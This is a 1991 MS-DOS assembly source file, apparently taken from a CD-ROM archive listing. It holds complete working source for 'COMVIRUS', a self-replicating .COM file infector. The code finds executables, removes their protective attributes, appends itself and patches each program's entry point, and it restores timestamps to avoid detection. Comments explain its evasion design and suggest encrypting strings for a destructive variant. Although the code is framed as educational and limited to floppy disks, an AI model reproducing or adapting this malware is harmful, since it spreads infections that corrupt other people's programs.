home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CV4-30.ASM < prev    next >
Assembly Source File  |  1991-04-30  |  19KB  |  459 lines

  1. title COMVIRUS
  2. subttl By Drew Eckhardt
  3. subttl Latest revision: 4-28-1991
  4.  
  5. ;The author of this virus intends it to be used for educational
  6. ;purposes only, and assumes no responsibilities for its release,
  7. ;dammages resulting from its use, including but not limited to
  8. ;equipment dammage or data loss.
  9.  
  10. ;By assembling or examining this program, The user agrees to accept all
  11. ;responsibility for this programs use, or any portions of the code
  12. ;or concepts contained within.  The user also agrees to not publicly release
  13. ;this virus, and to exercise necessary precautions to prevent its escape.
  14. ;The user accepts all responsibility arising from his actions.
  15.  
  16. ;Don't come crying to me if your hard disk gets infected,
  17. ;as THERE IS NO ANTIDOTE.  HAHAHAH.
  18.  
  19.  
  20. ;Revision history:
  21. ;4-13: initial bug-free release, size=424 bytes with carrier
  22.  
  23. ;4-15: added no date change support, size=438 bytes with carrier
  24.  
  25. ;4-16: minor documentation changes, size=438 bytes with carrier,
  26. ;      NO CODE CHANGE from 4-15 revision
  27.  
  28. ;4-21: fixed missing hex h suffixs, made MASM friendly,
  29. ;      fixed incorrect assume statement (assume statements are ignored
  30. ;      by A86) enabled hard/floppy infection based on floppy_only status
  31. ;      size=438 bytes IF floppy_only, 424 bytes if not, with carrier.
  32. ;      minimum virus length = 419 bytes
  33.     
  34. ;4-23: added control over how many programs are infected per run,
  35. ;      switched method of infection, from copying to DTA then writing
  36. ;      to disk to straight write to disk from memory.
  37. ;      size=412 bytes IF floppy_only, 398 bytes if not, with carrier.
  38. ;      minimum virus length = 393 bytes
  39.     
  40. ;4-28: used set DTA instead of default DTA/copy command line
  41. ;      buffer, which had been used based on incorrect assumption
  42. ;      eliminated calls to get time/date, get attribs
  43. ;      by using information from find first/find next functions 4eh/4fh
  44. ;      made warning optional for reduced space if desired.  Also
  45. ;      changed mov reg16, bp add reg16, constant to shorter LEA instruction.
  46. ;      size=354 bytes IF floppy_only, warning on W/carrier
  47. ;           340 bytes IF w/warning & carrier program
  48. ;           286 bytes w/o warning, in program
  49. ;       minimum virus length = 281 bytes for virus itself
  50.  
  51. ;4-28pm:  instead of near CALL-pop sequences everywhere, switched to
  52. ;         a single CALL near ptr Reference_Point, putting the result into
  53. ;         si now that (until the end) string mode addressing is not used.
  54. ;         Changed places where a register (used as an index)
  55. ;         was being loaded THEN added to a single LEA isntruction
  56. ;       size = 340 bytes if floppy_only, warning on w/carrier
  57. ;       size = 326 bytes if w/warning & carrier
  58. ;    size = 272 w/o warning
  59. ;    minimum virus length = 267 bytes for the virus itself
  60.  
  61. ;4-28pm2: Eliminated unecessary flush buffers call.
  62. ;       size = 336 bytes if floppy_only w/carrier
  63. ;       size = 322 bytes w/warning & carrier
  64. ;    size = 268 w/o warning
  65. ;    minimum virus length = 263 bytes for virus itself
  66.  
  67. ;4-30:    restored 5 bytes of original code at CS:0100
  68. ;    before infecting other programs, allowing the
  69. ;    original code field to be modified so one disk write could be
  70. ;    used instead of two
  71. ;    minor documentation revisions - corrected incorrect
  72. ;    opcodes in documentation
  73. ;    size = 326 bytes if floppy_only w/carrier
  74. ;    size = 312 bytes w/warning & carrier program
  75. ;    size = 258 bytes w/carrier program
  76. ;    Minimum virus length = 253 bytes for the virus itself
  77.     
  78. ;NOTE:  The program is currently "set up" for A86 assembly with all
  79. ;conditional assembly symbols.  #IF and #ENDIF should be replaced with
  80. ;MASM IFDEF and ENDIF directives for propper operation.
  81. ;Also, instead of using EQUates to define control symbols, the /D
  82. ;option or DEFINE could be used.....
  83.  
  84.  
  85. ;COMVIRUS.ASM must be assembled into a .COM file inorder to function
  86. ;properly.  For convieniece, I recommend an assembler like A86 that will
  87. ;assemble to a .COM file without having to go through LINK and EXE2BIN
  88.  
  89. ;As is, it will infect .COM files located on the current disk.
  90. ;ONLY if it is a floppy disk, ONLY in the root directory.
  91.  
  92. ;This is a .COM infector virus, which, does nothing other than print a
  93. ;warning message, and spread to all files on the default disk IFF it is
  94. ;a floppy disk, in the root directory.
  95.  
  96. ;Theory:
  97. ;This is a non - overwriting virus.  I took special precautions to preserve
  98. ;all functionality of the original program, including command line, parsed FCB,
  99. ;and segment register preservation.  This makes the virus harder to detect.
  100.  
  101. ;The .COM file is a memory image - with no relocation table.  Thus, it
  102. ;is an easy target for a virus such as this.
  103.  
  104. ;Infected file format
  105. ;jmp near ptr xxxx
  106. ;cli cli                ;ID bytes
  107. ;ORIGINAL program code, sans 5 bytes
  108. ;5 bytes ORIGINAL program code
  109. ;VIRUS
  110.  
  111. ;This format makes infection VERY simple.  We merely check for our signature
  112. ;(in this case cli cli (fa fa) - instructions that no programmer in his
  113. ;right mind would use - loading the original five bytes in the process.
  114. ;These original bytes are written to the end of the program, then
  115. ;A jump to where the virus is.
  116.  
  117. ;While infection is easy, this method presents some coding problems, as the
  118. ;virus does not know where in memory it is.  Therefor, When we want to access
  119. ;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the
  120. ;stack which is then popped.  Addresses are then calculated relative to this
  121. ;via LEA
  122.  
  123. ;To run the program as normal, command line is restored, registers restored,
  124. ;And original code copied onto the first five bytes of the program.
  125.  
  126.  
  127. ;Program control symbols defined here
  128. floppy_only equ 1
  129. infect_per_run equ 1            ;number of programs infected per run
  130. warn_user equ 1
  131.  
  132. _TEXT segment byte 'CODE'
  133.         assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT
  134.         org 100h
  135.  
  136. Start:  jmp     infect;
  137.  
  138. ;This is our signature
  139.         cli
  140.         cli
  141.  
  142. ;Original code is the data field where we store the original program code
  143. ;which will replace our signature and jmp to infect
  144.  
  145. Original_Code:  int     20h             ;five bytes that simply terminate
  146.                 nop                     ;the program
  147.                 nop
  148.                 nop
  149.  
  150.  
  151.  
  152. ;Data for the virus.  In a destructive virus, you would want to encrypt
  153. ;any strings using a simple one's complement (not) operation so as to
  154. ;thwart detection via text search utilities.  Since we want detection to
  155. ;be easy, this un-encrypted form is fine.
  156.  
  157.  
  158. Start_Virus:
  159. #IF warn_user
  160.         Warning db "This file infected with COMVIRUS 1.0",10,13,'$'
  161. #ENDIF
  162.  
  163. ;VirusMask is simply an ASCIIZ terminated string of the files we wish to
  164. ;infect.
  165.  
  166.         VirusMask db '*.COM', 0
  167. Infect:
  168.         push    ax                      ;on entry to a .COM program,                            STACK:
  169.                                         ;MS-DOS puts drive identifiers                          ax (drive id for FCB's) <-- sp
  170.                                         ;for the two FCB's in here.  Save
  171.                                         ;'em
  172.  
  173.         ;I use special trickery to find location of data.  Since
  174.         ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is
  175.     ;translated to e8 0000 - which will simply place the location
  176.     ;of Reference onto the stack.  Our data can be found relative to
  177.     ;this point.
  178.  
  179.         call near ptr Reference         ;All data is reference realative to
  180.                                         ;Reference
  181.  
  182.  
  183. Reference: pop  bx                      ;which is placed into bx for LEA
  184.                     ;instructions
  185.                     ;bx now contains the REAL address of
  186.                     ;Reference
  187.                     ;si points to real address of original
  188.                     ;code field
  189.     lea     si, [bx-(offset Reference - offset Original_Code)]
  190.     mov     di, 0100h        ;original code is at 100h
  191.     mov     cx, 5            ;5 bytes
  192.     cld                ;from start of buffer
  193.     rep     movsb            ;do it
  194.  
  195.     mov    si, bx            ;since BX is used in handle
  196.                     ;based DOS calls, for the remainder
  197.                     ;of the virus, si will contain the
  198.                     ;actual address of reference
  199.  
  200. #IF warn_user
  201.  
  202.         ;Always calculate the address of data relative to known Reference
  203.         ;Point
  204.         lea     dx, [si-(offset Reference - offset Warning)]
  205.         mov     ah,9h                   ;DO dos call, DS:DX pointing
  206.         int     21h                     ;to $ terminated string
  207.  
  208.         ;We want to make sure that the user gets the message
  209.  
  210. WaitForKey:
  211.         mov     ah, 0bh                 ;we will wait for a keypress
  212.         int     21h                     ;signifying the user has
  213.         or      al, al                  ;seen the message.
  214.         jz      WaitForKey
  215.  
  216. #ENDIF
  217.  
  218. #IF FLOPPY_ONLY
  219.  
  220.         ;Since this is a simple demonstration virus, we will only infect
  221.         ;.COM files on the default drive IFF it is a floppy disk....
  222.         ;So, we will get information about the disk drive.
  223.  
  224.  
  225.         push    ds                      ;ds:bx returns a byte to
  226.                                         ;media descriptor
  227.  
  228.         mov     ah, 1bh                 ;get disk information                                   STACK
  229.         int     21h                     ;DOIT                                                   ax (drive ID's)
  230.         cmp     byte ptr ds:[bx], 0f8h  ;see if its a hard disk                                 ds <--sp
  231.  
  232.         pop     ds                      ;restore ds                                             STACK
  233.         jne     Floppy                  ;if it was hard....                                     ax <--sp
  234.         jmp     near ptr done           ;we're nice guys and are done
  235.  
  236. Floppy: ;Since it was floppy, we can go on with the infection!
  237. #ENDIF
  238.         ;The default DTA, as is will give us problems.  The designers of
  239.         ;MickeySoft DOS decided to put default DTA at ofset 128 in
  240.         ;the PSP.  PROBLEM:  This is also where the user's precious command
  241.         ;line is, and we MUST remain undectected.  SO.... we allocate a
  242.         ;DTA buffer on the stack.  43 bytes are needed, 44 will do.
  243.  
  244.         sub     sp,  44                 ;allocate space for findfirst/findnext DTA
  245.         mov     bp, sp                  ;set up bp as a reference to this area
  246.  
  247.         ;Set the DTA
  248.         mov     dx, bp                  ;point DS:DX to our area
  249.         mov     ah, 1ah                 ;set DTA
  250.         int     21h
  251.  
  252.         ;Set up pointers to data in DTA
  253.         dta     equ word ptr [bp]
  254.         file_name equ word ptr [bp+1eh]
  255.         attributes equ byte ptr [bp+15h]
  256.         time_stamp equ word ptr [bp+16h]
  257.         date_stamp equ word ptr [bp+18h]
  258.         file_size equ dword ptr [bp+1ah]
  259.  
  260.         ;We dynamically allocate a variable to store the number of programs                     STACK
  261.         ;The virus has infected.                                                                FCB drives
  262.         ;                                                                               bp-->   44 byte DTA
  263.         infected_count equ byte ptr[bp-2];                                                      Infected_Count
  264.         xor     ax, ax                  ;zero variable,                                 sp-->   buffer (6 bytes)
  265.         push    ax                      ;allocate it on the stack
  266.         sub     sp, 6                   ;allocate small buffer
  267.  
  268.         ;Now, we begin looking for files to infect.
  269.         lea     dx, [si - (offset Reference - offset VirusMask)]
  270.                                         ;DS:DX points to the search string                      STACK
  271.         mov     ah, 4eh                 ;find first matching directory entry                    FCB drives  (word)
  272.         mov     cx, 111b                ;only default directory, FILES                         
  273.                                         ;hidden, system and normal
  274.         int     21h                     ;doit                                       bp-->       44 byte DTA buffer
  275.                                         ;                                                       infected count (word)
  276.         jnc     Research                ;carry is clear when a file was             sp-->       6 byte buffer
  277.         jmp     nofile                  ;found.
  278.  
  279.  
  280. ReSearch:
  281. ;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx
  282.         lea     dx, file_name
  283.  
  284. ;Since this is a virus, we want to infect files that can't be touched by
  285. ;DOS commands, this means readonly, system, and hidden files are at our
  286. ;mercy.  To do this, we rely on the findfrst/next attributes and other data
  287. ;to restore the attribute byte to the original settings.  get/SET can fix
  288. ;them to be suitable
  289.         mov     cl, attributes
  290.         and     cl, 11100000b           ;not readonly, system, or hidden                        STACK
  291.                                         ;                                                       FCB drives
  292.         mov     ax, 4301h               ;set attributes                              bp-->      buffer (44 bytes)
  293.         int     21h                     ;                                                       buffer (6 bytes)
  294.                                         ;                                            sp-->      infected_count
  295.         jnc     NoError                 ;check for error
  296.         jmp     Restore_Flags
  297. NoError:
  298.         mov     ax, 3d02h               ;now, open file using handle,
  299.                                         ;read/write access
  300.         int     21h                     ;
  301.         jnc     NoError2                ;IF there was an error, we are done
  302.         jmp     Restore_Flags           ;But we don't need to commit or close
  303.  
  304. NoError2:
  305.         mov     bx, ax                  ;The handle was returned in ACC.
  306.                                         ;Howwever, all handle based DOS
  307.                                         ;calls expect it in BX
  308.  
  309.  
  310. ;We don't want to infect the program more than once, so we will
  311. ;check to see if it is infected. 
  312.  
  313.  
  314.         mov     ax, 4200h               ;seek relative to start of file
  315.         ;       bx contains handle from open operation
  316.         xor     cx,cx                   ;cx:dx is file pointer
  317.         xor     dx, dx                  ;
  318.         int     21h                     ;DOIT
  319.  
  320. ;Now, we will read in enough data to see if we have our virus signature.
  321.         mov     ah, 3fh                 ;read data
  322.     lea     dx, [si-(offset reference-offset original_code)]
  323.                     ;into original_code buffer
  324.     mov     cx, 5                   ;5h bytes
  325.     ;       bx contains handle from last operation
  326.     int     21h
  327.  
  328.     cmp     word ptr [si-(offset reference-offset original_code)+3], 0fafah
  329.     jne     GoApe                   ;if we aren't already infected,
  330.     jmp     Error                   ;go for it
  331.  
  332. GoApe:
  333. ;Since it is safe to infect, we will
  334.         mov     ax, 4202h               ;seek end of file
  335.         xor     cx, cx                 
  336.         xor     dx, dx
  337.         int     21h
  338.  
  339.         or      dx, dx                  ;check for valid .COM format
  340.         jz      Less_Than_64K
  341.         jmp     Error
  342.  
  343. Less_Than_64K:
  344.  
  345. ;Now, we must calculate WHERE the jump will be to.  Let's examine the program
  346. ;Structure:
  347. ;jmp near ptr xxxx
  348. ;Cli Cli                       }These add up to the original length
  349. ;Orignal code sans 5 bytes
  350.  
  351. ;Original_Code (5 bytes)       }The length of all virus data
  352. ;Other virus data               is equal to the difference in
  353. ;Infect                         the addresses of Infect and Original_Code
  354.  
  355. ;End_Virus
  356.  
  357.  
  358. ;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin)
  359. ;However, in the 80x86, NEAR jumps are calculated as an offset from the position
  360. ;of the next statement to execute (because of fetch/execute cycle operation).
  361.  
  362. ;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from
  363. ;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code
  364. ;+Original_Length-3);
  365.  
  366.         ;Since AX already contains the original length, we will merely add
  367.         ;Space for the virus data, and take care of the three bytes
  368.         ;of code generated by the jmp near instruction.
  369.  
  370.         add     ax, (offset Infect - Offset Original_Code -3)
  371.  
  372.                                         ;calculate jump address
  373.         mov     byte ptr [bp-8], 0e9h   ;jmp near instruction
  374.         mov     word ptr [bp-7], ax     ;offset for near jmp
  375.         mov     word ptr [bp-5], 0fafah ;cli cli
  376.  
  377.         mov     ax, 4200h               ;seek begining of file
  378.         xor     cx, cx
  379.         mov     dx, cx
  380.         int     21h
  381.  
  382.         mov     ah, 40h                 ;write patched code
  383.         mov     cx, 5                   ;5 bytes of code
  384.         lea     dx, [bp-8]              ;our buffer
  385.         int     21h
  386.  
  387.         mov     ax, 4202h               ;seek EOF
  388.         xor     cx, cx
  389.         xor     dx, dx
  390.         int     21h
  391.  
  392.  
  393.     lea     dx, [si - (offset Reference - offset Original_Code)]; set start
  394.     mov     cx, (offset End_Virus - offset Original_Code)     ;set length
  395.     mov     ah, 40h         ;append virus to file
  396.     int     21h             ;doit
  397.  
  398.         inc     infected_Count  ;bump up the number of programs infected
  399.  
  400. Error:  mov     dx,date_stamp           ;restore date
  401.         mov     cx,time_stamp           ;restore time
  402.         mov     ax, 5701h               ;set them
  403.         int     21h
  404.  
  405.         mov     ah, 3eh                 ;close file
  406.         int     21h
  407.  
  408. Restore_Flags:
  409.         xor     ch, ch                  ;zero hi byte flags
  410.         mov     cl,attributes           ;restore flags
  411.         lea     dx, file_name           ;ds:dx points to ASCIIZ string
  412.                                         ;in the buffer, offset 1eh contains
  413.                                         ;the file name
  414.         mov     ax, 4301h               ;get/SET flags
  415.         int     21h                     ;Doit
  416.  
  417. DoAgain:;See if we're done infecting
  418.         cmp     infected_count, infect_per_run
  419.         jae     NoFile                  ;if we're done, same as no new file
  420.  
  421.  
  422.         mov     ah,  4fh                ;find next
  423.         int     21h
  424.  
  425.         jc      NoFile                  ;if carry is clear, DOIT again!
  426.         jmp     ReSearch
  427.  
  428. ;Since we have no more files, we will restore things to normal.
  429. NoFile:
  430.         mov     dx, 80h                 ;reset default dta at DS:80h
  431.         mov     ah, 1ah                 ;set DTA
  432.         int     21h
  433.  
  434.         add     sp, 52                  ;deallocate buffers and infected_count
  435.  
  436.  
  437.  
  438. ;Put original code of program BEFORE it was infected back in place!
  439.  
  440.  
  441. Done:   
  442.         pop     ax                      ;restore ax
  443.  
  444.  
  445.         ;FUNKY code!  In the 80x86, all NEAR or SHORT jmp opcodes take
  446.         ;a RELATIVE address...... BUT a retn opcode pops a near absolute
  447.         ;address of the stack - saves us the trouble of some calculating
  448.         ;relative to here, and the trouble of a self-modifying
  449.         ;far absolute jmp! (5 bytes)
  450.  
  451.         mov     bx, 0100h
  452.         push    bx
  453.         ret                             ;easiest jump to cs:100
  454.  
  455. End_Virus:
  456. _TEXT ends
  457. end start
  458.  
  459.